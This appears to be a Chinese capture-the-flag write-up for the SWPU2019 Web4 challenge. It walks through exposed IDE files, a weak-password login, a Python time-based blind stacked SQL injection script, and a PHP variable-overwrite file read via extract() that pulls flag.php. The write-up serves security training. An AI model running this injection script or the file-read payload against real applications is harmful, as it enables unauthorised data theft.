[SWPU2019]Web4
程序上来是一个登录页面,先尝试注册,提示”注册功能尚未开放!“
后端是php,扫一下目录。
1 2 3
| [16:04:39] 200 - 174B - /.idea/misc.xml [16:04:39] 200 - 296B - /.idea/modules.xml [16:04:40] 200 - 19KB - /.idea/workspace.xml
|
看来是idea的配置文件夹。
访问workspace.xml
里面记录着工程里创建的文件,挨个访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
| <component name="editorHistoryManager"> <entry file="file://$PROJECT_DIR$/readme.md"/> <entry file="file://$PROJECT_DIR$/View/userList.php"/> <entry file="jar://$APPLICATION_HOME_DIR$/plugins/php/lib/php.jar!/stubs/json/json.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="-2590"> <caret line="117" column="74" lean-forward="true" selection-start-line="117" selection-start-column="74" selection-end-line="117" selection-end-column="74"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/static/js/login.js"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="150"> <caret line="10" column="13" lean-forward="true" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="13"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/View/userLogin.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="555"> <caret line="37" column="22" lean-forward="true" selection-start-line="37" selection-start-column="22" selection-end-line="37" selection-end-column="22"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Lib/Safe.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="90"> <caret line="6" column="130" selection-start-line="6" selection-start-column="130" selection-end-line="6" selection-end-column="130"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Lib/DBTool.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="60"> <caret line="39" column="5" lean-forward="true" selection-start-line="39" selection-start-column="5" selection-end-line="39" selection-end-column="5"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Lib/Page.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="-75"> <caret line="95" column="9" lean-forward="true" selection-start-line="95" selection-start-column="9" selection-end-line="95" selection-end-column="9"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Model/TestModel.php"/> <entry file="file://$PROJECT_DIR$/test.php"/> <entry file="file://$PROJECT_DIR$/Common/config.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="90"> <caret line="6" column="19" selection-start-line="6" selection-start-column="8" selection-end-line="6" selection-end-column="19"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/index.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="135"> <caret line="9" selection-start-line="9" selection-end-line="9"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Common/Tools.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="45"> <caret line="3" column="6" selection-start-line="3" selection-start-column="6" selection-end-line="3" selection-end-column="6"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Model/BaseModel.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="105"> <caret line="7" column="26" lean-forward="true" selection-start-line="7" selection-start-column="26" selection-end-line="7" selection-end-column="26"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Model/LoginModel.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="60"> <caret line="4" column="1" lean-forward="true" selection-start-line="4" selection-start-column="1" selection-end-line="4" selection-end-column="1"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Model/UserModel.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="120"> <caret line="8" column="15" selection-start-line="8" selection-start-column="8" selection-end-line="8" selection-end-column="15"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/flag.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="30"> <caret line="2" column="48" lean-forward="true" selection-start-line="2" selection-start-column="48" selection-end-line="2" selection-end-column="48"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/View/userInfo.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="30"> <caret line="2" column="11" selection-start-line="2" selection-start-column="11" selection-end-line="2" selection-end-column="11"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Controller/LoginController.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="540"> <caret line="36" column="88" selection-start-line="36" selection-start-column="88" selection-end-line="36" selection-end-column="88"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Common/fun.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="150"> <caret line="10" column="29" selection-start-line="10" selection-start-column="16" selection-end-line="10" selection-end-column="29"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Controller/BaseController.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="270"> <caret line="18" column="31" selection-start-line="18" selection-start-column="31" selection-end-line="18" selection-end-column="31"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/View/userIndex.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="405"> <caret line="27" column="20" lean-forward="true" selection-start-line="27" selection-start-column="20" selection-end-line="27" selection-end-column="20"/> </state> </provider> </entry> <entry file="file://$PROJECT_DIR$/Controller/UserController.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="270"> <caret line="18" selection-start-line="18" selection-end-line="18"/> </state> </provider> </entry> </component>
|
发现/View/userIndex.php有信息。
看看图片中也没什么信息。
再试试sql注入。
发现单引号会导致报错,fuzz后无法识别出拦截哪些字符。
尝试弱口令爆破一下登录页面,发现admin/123456密码正确,但页面没有任何反应
感觉还是在sql注入上有问题
通过查看wp发现存在堆叠注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests import binascii import time
url = "http://8a954174-9913-4c40-99ef-d3348eb6502c.node4.buuoj.cn:81/index.php?r=Login/Login"
res = ""
for j in range(100): for i in range(33,127): payload = "select if((ord(substr((select flag from flag),{},1))={}),sleep(5),1)".format(j, i) payload = '{"username":"admin\';set @a=0x' + binascii.b2a_hex(payload.encode()).decode() + ';prepare test from @a;execute test;","password":"123456"}' startTime = time.time() r = requests.post(url, data=payload) endTime = time.time() print(str(r.status_code) + "\t" + chr(i), end="\r") if endTime-startTime >= 5 and endTime-startTime < 6: res += chr(i) print("\n" + res) break
|
跑出来glzjin_wants_a_girl_friend.zip
访问获得源码
通读代码,梳理出各文件的作用
common文件夹定义了程序连接数据库的配置,和工具函数,其中fun.php实现了路由功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| if(!empty($_REQUEST['r'])) { $r = explode('/', $_REQUEST['r']); list($controller,$action) = $r; $controller = "{$controller}Controller"; $action = "action{$action}";
if(class_exists($controller)) { if(method_exists($controller,$action)) { } else { $action = "actionIndex"; } } else { $controller = "LoginController"; $action = "actionIndex"; } $data = call_user_func(array( (new $controller), $action)); } else { header("Location:index.php?r=Login/Index"); }
|
比如提交的参数为User/Index
就会调用Usercontroller.php中的actionIndex()
方法。
controller
文件夹定义了3种控制器,用于加载不同的前端视图(View)。
其中BaseController.php是基类,其extract()
函数处可能存在任意变量覆盖,借助include
可实现任意文件包含。接下来需要找到是否有哪个controller调用了loadView()
函数且第二个参数可控。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
class BaseController {
private $viewPath; public function loadView($viewName ='', $viewData = []) { $this->viewPath = BASE_PATH . "/View/{$viewName}.php"; if(file_exists($this->viewPath)) { extract($viewData); include $this->viewPath; } } }
|
可以找到在UserController中actionIndex()
将$_REQUEST
直接传入loadView()
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class UserController extends BaseController { public function actionList() { $params = $_REQUEST; $userModel = new UserModel(); $listData = $userModel->getPageList($params); $this->loadView('userList', $listData ); } public function actionIndex() { $listData = $_REQUEST; $this->loadView('userIndex',$listData); }
}
|
View文件夹中定义了3个视图,用来前端展示给用户,其中UserIndex.php中imgToBase64()
函数存在读文件的操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <div class="container"> <div class="row"> <div class="col-sm-4"> <h2>关于我</h2> <h5>我的照片:</h5> <div class="fakeimg"><?php if(!isset($img_file)) { $img_file = '/../favicon.ico'; } $img_dir = dirname(__FILE__) . $img_file; $img_base64 = imgToBase64($img_dir); echo '<img src="' . $img_base64 . '">'; ?></div> </div> </div> </div>
</body> </html> <?php function imgToBase64($img_file) {
$img_base64 = ''; if (file_exists($img_file)) { $app_img_file = $img_file; $img_info = getimagesize($app_img_file);
$fp = fopen($app_img_file, "r");
if ($fp) { $filesize = filesize($app_img_file); $content = fread($fp, $filesize); $file_content = chunk_split(base64_encode($content)); switch ($img_info[2]) { case 1: $img_type = "gif"; break; case 2: $img_type = "jpg"; break; case 3: $img_type = "png"; break; }
$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;
} fclose($fp); }
return $img_base64; } ?>
|
结合以上链条和fun.php功能我们可以通过访问Index.php,调用fun.php,同时传入r=User/Index
来调用UserController
中的actionIndex()
,同时include/View/userIndex.php
。通过extract()
函数覆盖$img_file
来调用imgToBase64()
读取flag.php。
1
| /index.php?r=User/Index&img_file=/../flag.php
|